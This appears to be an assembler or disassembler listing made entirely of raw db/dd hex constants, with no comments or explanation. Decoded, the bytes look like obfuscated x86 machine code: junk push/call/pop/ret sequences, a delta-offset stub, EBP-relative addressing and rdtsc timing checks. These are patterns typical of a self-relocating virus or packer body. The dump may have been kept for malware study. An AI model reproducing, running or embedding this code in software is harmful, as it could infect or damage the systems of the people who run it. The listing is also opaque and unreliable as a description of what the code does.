aLJ		db '^‹Àj',0
		db 56h,	0E8h, 3
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0DB22C356h, 0FE8B66A0h, 2879BD81h, 7D00603h,	850F0000h
		dd 4Ah,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh
		dd 45C35040h, 1B7E334Fh, 66453786h, 85FFFB8Bh, 6032879h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 9BC35747h
		dd 0B5FF7412h, 6032879h, 0FFF98B66h, 31FB995h, 0BF665306h
		dd 905FCCBEh, 14E940h, 0ACF10000h, 4114AEA7h, 1BA31EFh
		dd 0E35DD7ACh, 68D3FF49h, 0BD83C687h, 6030351h,	9E840F00h
		dd 89000000h, 3327D8Dh,	85BD8306h, 6032Eh, 8B840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 80DB3C3h, 0DE3AEA2Ah, 0F78177E6h, 78251518h,	35195FFh
		dd 0C00B0603h, 53840Fh,	880F0000h, 6, 2C35B52Bh, 8D8D0603h
		dd 6034D1Ch, 2191B58Bh,	5B80603h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0F78C350h, 4D8AB014h, 95988612h, 0FFF3B70Fh,	199D89E1h
		dd 8B060306h, 301F9B5h,	0E1BD8306h, 60313h, 751840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0A0AD3DC3h, 81667CB7h, 663288C6h, 836A45BEh,	32E85BDh
		dd 840F0006h, 71Bh, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 94C35545h, 0D88D2005h, 0EE8B75Ah, 18000000h
		dd 0F1CEA69Ch, 6080859Dh, 98A706D9h, 35BE66FCh,	14E95F24h
		dd 61000000h, 0E77E67D4h, 0C2A84729h, 0F26093AFh, 5AB1BCA5h
		dd 8D658BE6h, 3227D8Dh,	55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 8103B691h, 8401C765h
		dd 6A44B27Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0CAFAC357h, 608E6E26h,	2EA5B531h
		dd 3FBE0603h, 6105A2ECh, 0CFCB0181h, 6A1499h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 8CF8EAC3h
		dd 819151A8h, 0FE9h, 0C8BA6E00h, 49594F4Bh, 0B52FAB45h
		dd 0E123EA0Dh, 26CDB58Bh, 41C70603h, 706B3404h,	57006ACEh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 60ED5502h, 1499094Ch, 0A5BE156Ah, 8B5BD304h,	30659BDh
		dd 4418106h, 31D6D710h,	6DF78166h, 8B006A4Fh, 31BA9B5h
		dd 8DFE8B06h, 3227D85h,	0F88B6606h, 10DDBD8Bh, 50900603h
		dd 5A310F52h, 52505058h, 2FBB6660h, 619AB245h, 79BE310Fh
		dd 5A5A4518h, 6A9058h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 6892DEC3h, 1C77B88Ch, 9E9h, 4D06CF00h
		dd 6058BC56h, 95FF1A01h, 60313E1h, 0CE9h, 0AF283C00h, 0CB8056B9h
		dd 0BB4E91D4h, 7D8D8D70h, 6A060322h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0FA9C357h
		dd 1C7FBBFh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 93C35343h
		dd 0EB04BEEDh, 0BD8B59F5h, 6032519h, 441C7h, 0F000000h
		dd 283h, 66F08B00h, 0BEC47BEh, 98840FC0h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0D33EC355h, 0C4E4F2B9h, 4D1C8D8Dh, 0DF810603h, 0C8A217Eh
		dd 5B8h, 17880F00h, 0E9000000h,	12h, 0B6504DB0h, 0FDF483FCh
		dd 0AD4C44F0h, 38E0F099h, 0E1FF19B9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 44C35646h, 0F18B6633h, 1B8B0Fh
		dd 870F0000h, 15h, 10E9h, 782B3E00h, 0C7421E35h, 0FE49B0A9h
		dd 0DC50D327h, 39BD8B01h, 8D060313h, 3227D8Dh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 8166E91Ah, 8B2FD2D6h, 31CC5BDh, 7C01C706h, 8B44AA72h
		dd 305A1B5h, 0CB018106h, 0C71499CFh, 753C0441h,	6ACE78h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 905C3h, 31D7E0F5h, 0F18B6632h, 10044181h, 0E931D6D7h
		dd 0Fh,	47E82A96h, 0F6649EE1h, 0CDE1F487h, 6AAB28A8h, 6E900h
		dd 0A7960000h, 82AF4B68h, 68C0Fh, 95890000h, 6030021h
		dd 227D858Dh, 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 7A4EEEC3h, 1C5B529h, 0B70F0603h
		dd 14E950FAh, 0B1000000h, 0F99F726Bh, 894B727Fh, 0ABF5ED68h
		dd 0C2B3C5FFh, 89615198h, 0BD092404h, 6031135h,	13E195FFh
		dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 72F442C3h, 78A99F22h, 898B9B93h, 31CC58Dh
		dd 7D8D8D06h, 66060322h, 8D0FFA8Bh, 6, 1E71B58Bh, 1C70603h
		dd 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 19C35747h
		dd 31BD333Ch, 0C7060324h, 441h,	0B58B0000h, 603109Dh, 840FC00Bh
		dd 0B0h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0CFC35747h, 16B1C06Bh, 668F8D61h, 5CB4CE81h, 5640CE81h
		dd 8D8D68F6h, 6034D1Ch,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0F6C35242h, 2597738Fh, 7E9h, 86A14600h
		dd 558153EDh, 5B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 3A00888Ah, 0F5CDDCBCh
		dd 0E1FFC28Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	90C35141h, 5501F5A3h, 5256BF66h, 227D8D8Dh, 6A0603h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 2FDAF3C3h, 0B58B4DEAh, 60302E5h, 0C7F9B70Fh,	0CA95A501h
		dd 55006A54h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 853150A4h, 6031C19h, 0CFCB0181h,	6A1499h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0CCBC4AC3h, 1D85B589h, 85090603h, 6031FFDh, 690441C7h
		dd 89CE5F59h, 32469B5h,	4418106h, 31D6D710h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 5BC35646h, 0F73ADDD5h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 89788FC3h, 93850AFh, 0E181601Dh, 20B89DDEh
		dd 858D61F9h, 603227Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0FDC35343h, 0E1738149h, 0F4D5212h, 68Dh
		dd 5D8D8900h, 8B060328h, 31059BDh, 52509006h, 0FF28B66h
		dd 0CE931h, 9B400000h, 0DE0E43A6h, 0B88C6892h, 585A1C77h
		dd 5E950h, 0F1BE0000h, 90EB44EDh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 6DC35343h, 0B531A724h, 6032F3Dh
		dd 13E195FFh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0E7669CC3h, 8D8D09C1h, 603227Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 22C35646h
		dd 66E21F2Ch, 1C7FE8Bh,	0
		dd 29FAE681h, 41C7076Ch, 4, 9D315200h, 60329F9h, 15BD895Eh
		dd 0B06031Fh, 5C840FC0h, 0BE000000h, 3788BF0h, 4D1C8D8Dh
		dd 0BE90603h, 0D5000000h, 0A0ED952Ah, 0E98665F7h, 5B809BAh
		dd 0E9000000h, 0Ah, 0E006C88Fh,	0FB8E78FEh, 0E1FF5FD9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 1BC35747h
		dd 0B7B7910Fh, 85A5158Dh, 799D89D8h, 306031Eh, 0F04FE9CAh
		dd 8166FFFFh, 0BEA269DFh, 6778CACFh, 0B503C18Bh, 60308CDh
		dd 4EBh, 6A0000h, 3E852h, 5A200000h, 54895AC3h,	44810424h
		dd 150424h, 52420000h, 8BF050C3h, 6AF18BF3h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0B85CC353h, 8A0F2AA7h, 5, 0CA2A39BEh, 9D8B6015h, 6031A09h
		dd 1269BD8Bh, 8D610603h, 3281185h, 0F2BF0F06h, 0F525090h
		dd 85h,	0E8310F00h, 6, 0B1CBCBD5h, 800FD70Fh, 0
		dd 50585A5Eh, 4840Fh, 0BE660000h, 6A909EE3h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 8827C357h, 0A11354B7h, 6850Fh, 0B58B0000h, 6031FCDh
		dd 6A006Ah, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 17h,	0E9C35141h, 0F6FCBE9h, 68Dh, 0F1B58B00h, 8D060311h
		dd 6D9A185h, 0C5BD8906h, 8306032Eh, 6A05C0h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 612D2EC3h
		dd 44CE633Ah, 90313712h, 21F2BE66h, 90616050h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 9AC35545h, 514C297h
		dd 0B1DB589h, 8B0F0603h, 3, 6AF08B66h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 2F5DEBCCh, 0FF006AF7h, 30CC995h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 95788B1Bh
		dd 0A6685C33h, 97479D8Dh, 6A0606h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 8D89FBC3h, 6032465h
		dd 0B58BD3FFh, 60325E5h, 2A1585FFh, 80600603h, 0D0813FEAh
		dd 63CF2351h, 9F8E961h,	0E80000h, 5D000000h, 0D9ABED81h
		dd 85010606h, 60311A1h,	2879BD81h, 7D00603h, 860F0000h
		dd 1CAh, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 17h,	61C35545h, 66FA0AA4h, 0FF08BBEh, 181h, 9D8BFC00h
		dd 6031BC9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	17C35343h, 0F779E638h, 0BAA2C674h, 598D8914h, 0F060323h
		dd 583h, 0EE816600h, 0E3815166h, 100h, 850FDB0Bh, 0BDh
		dd 33EF8160h, 0E844110Eh, 13h, 17D79611h, 0DB16DB68h, 0D5E272B4h
		dd 8D94B09Eh, 29C0A284h, 3299D85h, 83615B06h, 6D7BABDh
		dd 840F0006h, 4Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0B6C35747h, 80880AA2h, 0A6E9870Dh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0FC15C351h, 1CCD9531h, 8B660603h,	0BA85C7F7h
		dd 10606D7h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 35A7C353h, 0E389D4C3h
		dd 50E9h, 0D58D2900h, 8106030Fh, 3DB48AF6h, 0BA85C764h
		dd 606D7h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 474C356h, 11ADBD89h, 0E9600603h
		dd 10h,	0CE7D447Fh, 89B4887Eh, 9C19F383h, 70BDCFD1h, 0C99D8D61h
		dd 6A06031Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 2B1AC357h, 2CB8CBC4h, 0B58B144Dh
		dd 60326ADh, 0FEFF2381h, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 847CEAC3h, 8C6653B3h
		dd 53006ADBh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8B67CDE6h, 3125DB5h, 4C3F606h, 7A840Fh
		dd 31600000h, 30FFDB5h,	5CD4BF06h, 0FF616053h, 311A595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 49C8C871h, 8166CA66h, 50CDB6C6h,	10E8h
		dd 25605C00h, 62EF1CF0h, 4C4173E1h, 1B06C538h, 0FE88Eh
		dd 3CBA0000h, 6A54F06Dh, 0A05456D5h, 6F941A54h,	5E81Dh
		dd 90390000h, 5EEDD1AAh, 4895E5Eh, 890F24h, 0F5000000h
		dd 364E9h, 15B58B00h, 0B0060323h, 0FA8B6000h, 70E661F9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 5CC35141h
		dd 4087425Eh, 8901F36Bh, 30601B5h, 6A71E406h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 8B02C356h, 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 41A2C353h, 6BAE36Dh
		dd 8B000000h, 299589C3h, 0C106030Ah, 816604E8h,	0F929C5EEh
		dd 81E2F766h, 5C9BDED6h, 6AD82B7Eh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 35FDC355h
		dd 2D929501h, 0B50B299Dh, 603306Dh, 5E85093h, 67000000h
		dd 4D74549Ah, 0FE960h, 3E590000h, 729F2589h, 0E514E2ABh
		dd 0E4703FB6h, 0EABE6642h, 935E615Bh, 26118D89h, 0B5FF0603h
		dd 6032879h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	2DC35040h, 8D2360FEh, 60303F1h,	71950161h, 0FF060313h
		dd 31FB995h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0B0743D1Dh, 0C1952900h, 0E606030Fh
		dd 57006A70h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0F12583BBh, 0F28B71E4h, 830F613Ch, 1E9h
		dd 9E9h, 0F2871400h, 0E167ED52h, 0B60F10BEh, 50006AD8h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 1C009AFBh, 0B58B921Fh, 6030975h, 6BAh, 66C38B00h, 1634F681h
		dd 6A04E8C1h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 748CC356h, 86703185h, 0E2F7660Eh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0FEC35646h
		dd 53C9BC9Dh, 2B24337Dh, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 5841C635h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 28C35343h, 66DB7AF8h
		dd 0D82BF08Bh, 10F880Fh, 12E80000h, 0E0000000h,	0D61BEE5Fh
		dd 31263751h, 7DDBE553h, 8374E24Bh, 0DDB589ACh,	5E06031Eh
		dd 1EDB589h, 7B90603h, 8B000000h, 32089B5h, 0C18306h, 860FD93Bh
		dd 0D5h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 16h,	25C35242h, 0BE66136Eh, 8C668E29h, 0C9B58BD9h, 2906032Bh
		dd 31ECD85h, 4C1F606h, 93840Fh,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 91D055C3h
		dd 0A595FF72h, 89060311h, 31D699Dh, 5958906h, 5B060332h
		dd 9E99589h, 0C32B0603h, 132DB58Bh, 343D0603h, 0F000008h
		dd 4886h, 14E900h, 0B1640000h, 0FBF5BD72h, 0E233137Eh
		dd 0DD76680Ch, 886F599Dh, 32E96ACFh, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 379EC357h, 85C2AECDh, 8B456E7Fh, 32389B5h, 23C08B06h
		dd 31E71B5h, 8BC38B06h,	45B589D8h, 0C7060301h, 3293D85h
		dd 747B906h, 51006A5Eh,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 66603358h, 8B60FB8Bh, 32D6D95h, 6161F906h
		dd 0C08BF38Bh, 81F0BF0Fh, 32879BDh, 7D006h, 53850F00h
		dd 0E8000000h, 12h, 6C08BFE0h, 8F7A8425h, 5F520437h, 57269A0h
		dd 0BE8F57Eh, 17000000h, 972DBC61h, 0DB24612Fh,	0F78BE392h
		dd 85FF5E5Eh, 6032879h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0C4C35141h, 9CD966A6h, 0B5FF2691h, 6032879h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 7CC35646h
		dd 0E9F63EBCh, 95FF8D0Ah, 6031FB9h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0FC35646h, 0EB1C8CECh, 8501500Dh
		dd 60311DDh, 255DBD89h,	8B900603h, 880FD8h, 83000000h
		dd 32CDDBDh, 840F0006h,	36h, 209DB589h,	0C9E90603h, 6A000002h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 7D21C351h, 0C40D2C9h, 2956DB46h, 30C5185h
		dd 0DF8C5E06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	83C35545h, 6E90BD2Fh, 0A2BB90D0h, 0A995899Dh, 66060310h
		dd 4C7F7h, 266850Fh, 0B50B0000h, 60331A9h, 8589FF2Bh, 6032999h
		dd 0E3179D8Dh, 0B58B0606h, 603097Dh, 50525093h,	0F616052h
		dd 0F585A31h, 8B665731h, 585A5EF2h, 93F08B50h, 2C018D89h
		dd 0FF640603h, 35h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0FD322EAAh, 0BE6672AEh
		dd 896432DBh, 25h, 51006A00h, 3E8h, 0C3592000h,	244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0DD662223h, 8E0FC48Bh
		dd 0Ah,	4830Fh,	0BE660000h, 1CD7443h, 6A00EBh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0E9D958C3h, 5, 38AC60Ch, 39B58B35h, 6A06031Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 8E2CC352h, 0B53365C7h, 6033211h, 14E9h, 82423B00h, 1EE9C2EAh
		dd 0BA451E2Eh, 2B94E6FDh, 66C7B96Eh, 58F64E8h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 93C35242h
		dd 83F2BF0Fh, 0BDBE04C4h, 0B63FB76h, 25840FC0h,	6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0E066C356h, 0FA6C871Eh, 14E9h, 0ABCA3100h
		dd 4C05B85Ah, 0B2446EBCh, 0CA0A14F9h, 0E34262D6h, 0F6B70F44h
		dd 4D1CBD8Dh, 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0EBEB12C3h, 5B8F5h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0D2CE49C3h, 5536C81Fh, 6AE7FFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 57AC4CC3h, 10245C8Bh
		dd 0B8838Bh, 0B60F0000h, 0C8FE0140h, 0B08389h, 83830000h
		dd 0B8h, 0C0335F02h, 51006AC3h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 57006A54h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 5AB64611h
		dd 13E865h, 2EFE0000h, 61FF03Eh, 925B631Dh, 7262E663h
		dd 0D4095170h, 499D310Fh, 5E060321h, 0BE9CA2Bh,	8BFFFFF6h
		dd 0C18BF5F2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	5FC35343h, 0C48CDABFh, 4EB21h, 0E8000000h, 14h
		dd 7F303145h, 85D7E423h, 1D7A8232h, 653A7B4Fh, 10BAE66Bh
		dd 8E9h, 0DF073500h, 71D021Dh, 0FCBF5FB7h, 6A370B6Ch, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 140CC351h, 0C999F4FFh, 0F795056h, 189h, 858DF800h, 6032811h
		dd 2D8D3151h, 5F060302h, 0AD37BF56h, 505F084Ch,	14E95250h
		dd 0AB000000h, 51AB9749h, 2F2DA4B2h, 8B68E787h,	0B440D97h
		dd 0FCECB02h, 89585A31h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0C6C8CFC3h, 408E2FBEh
		dd 0DE9h, 0EDD31200h, 2260E3FEh, 0A3833975h, 6A0B7Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 7CC35242h, 6ACB1Eh
		dd 28519589h, 858D0603h, 606E5DFh, 3820Fh, 0BF0F0000h
		dd 5C083F7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	11C35747h, 9E0F02E7h, 900CBC0Ah, 0CABE6650h, 0F505EADh
		dd 88Bh, 60525000h, 5A310F61h, 6A9058h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 6BBFF9C3h
		dd 0CEE1D7D0h, 89657A3Ah, 3201195h, 89006A06h, 3096985h
		dd 6A006A06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 6F37C356h, 0E8A1F6E6h,	0Ch, 0F615A49Ah
		dd 43945E96h, 0D1239AB4h, 14E9h, 8F3B4A00h, 381C0BEEh
		dd 0CB8FDE35h, 9721BBA5h, 0C870B353h, 95FF5F01h, 6030CC9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 6FC35040h
		dd 0E2868CAEh, 8D97F3E1h, 697479Dh, 0FA8B6606h,	85FFD3FFh
		dd 6032A15h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	2BC35646h, 0CB65DAE1h, 8B0FBBh,	0E9000000h, 86Bh
		dd 0E8h, 0ED815D00h, 606E5E9h, 10658589h, 0BD810603h, 6032879h
		dd 7D0h, 183860Fh, 66F90000h, 54D5CE81h, 25CD9D8Bh, 6A0603h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 333372C3h, 0EF773182h, 0BFD9C197h, 761B8735h, 100E381h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 3F155FC3h, 0BC10BD9h, 0E2850FDBh,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 1D96C356h, 0D5191AB3h, 12E9h, 7CD12B00h
		dd 0D96D8755h, 1C06EC09h, 73C7425h, 29629BBCh, 31B4595h
		dd 0C3BD8306h, 606E3h, 52840Fh,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 711A1BC3h
		dd 0BD89A047h, 6032E39h, 7CE9h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 7493BFCh, 6640EC23h
		dd 0E175E781h, 0E3C385C7h, 10606h, 12E90000h, 0A1000000h
		dd 0AB923343h, 12B51242h, 176A4EDEh, 24297285h,	2FE9E3h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0BF0F83C3h, 0C385C7FEh, 606E3h, 9000000h
		dd 3304DB5h, 0CD9D8D06h, 81060325h, 0FFFEFF23h,	55006AFFh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0B0665FE8h, 0DB8C66CCh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0E5C35242h, 0EBF3652h, 0D681CA62h, 42B7ACFBh
		dd 0F04C3F6h, 7584h, 0FE96000h,	0D6000000h, 0C0189DC2h
		dd 0BD6CE064h, 57045A9Fh, 8A0F3997h, 6,	23398D31h, 0FF610603h
		dd 311A595h, 57006A06h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0B7E8BA0Eh, 2991B529h, 0E9570603h
		dd 0Fh,	490E743Fh, 1B306D7Ch, 4651D700h, 5F0AC1F6h, 8FBE6690h
		dd 66905016h, 7797D681h, 30AD8589h, 53E90603h, 6A000004h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 91E8C355h, 7B8CF9FAh, 81666041h, 0E9E4D6CBh
		dd 0Ah,	5B94CF0h, 42612573h, 0B061E020h, 618D8900h, 0E6060330h
		dd 52006A70h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 14E831h,	6C9A0000h, 8E27739Fh, 0F5D4DFC8h
		dd 8F48B78Ch, 0C52CF095h, 85893502h, 6030631h, 0E871E45Eh
		dd 10h,	0EB857680h, 0B29D4C14h,	0DEAD7B38h, 33337277h
		dd 2541B58Bh, 0F5E0603h, 8509D8B6h, 6032A35h, 6BAh, 7890F00h
		dd 50000000h, 7C26F6BFh, 0BD895E08h, 6032CD9h, 0E8C1C38Bh
		dd 52006A04h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0F766F5D1h, 57006AE2h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0E3FF9922h
		dd 0E8303233h, 13h, 9696FED6h, 1151283Eh, 0D8A028D7h, 4C705737h
		dd 0E8AD5439h, 0Ch, 3302E300h, 5DE50543h, 0EFBD7C79h, 5EF6BF0Fh
		dd 9D01605Eh, 6032D09h,	12E9h, 574B3000h, 4CA8C124h, 43F36D51h
		dd 85C4CD45h, 61D53FC1h, 881AF681h, 0D82B70A2h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 89C35545h, 71C3C0CDh
		dd 0BF0FB28Eh, 8E0F93FEh, 8, 2810Fh, 61600000h,	935E5250h
		dd 79B5FFF9h, 6A060328h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 8C66C353h, 0C697BE7Eh
		dd 81661B13h, 0FF6697D6h, 31FB995h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0BD234A12h
		dd 6032459h, 858900B0h,	60323DDh, 8B0F70E6h, 0
		dd 6A71E4h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0F2308EC3h, 9F1EED5h, 32EFDB5h, 5BD8906h
		dd 3C060332h, 23830F61h, 89000002h, 3011D9Dh, 0CBE6606h
		dd 0D8B60F55h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	0DDC35040h, 0FE9D08Fh, 6000000h, 0CFA161E2h, 99F81D8Dh
		dd 19323255h, 9E9183Dh,	0BB000000h, 3647D786h, 306FD9Ah
		dd 6BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 9AEC221h,	0CC2AD2FBh, 0AE9E5h, 0BE7F0000h
		dd 7CD448A6h, 8267384Eh, 68B0Fh, 0BD8B0000h, 6031D3Dh
		dd 8D89C38Bh, 60324E9h,	8904E8C1h, 3200595h, 0E2F76606h
		dd 9E9h, 591A7300h, 0BE6ED6AEh,	0D82B1E07h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 50C35040h, 0BD8B58F8h
		dd 6031B8Dh, 880FD82Bh,	142h, 2309BD23h, 7B90603h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 162AC357h, 0C183D4h, 3BF2B70Fh, 0B860FD9h
		dd 6A000001h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
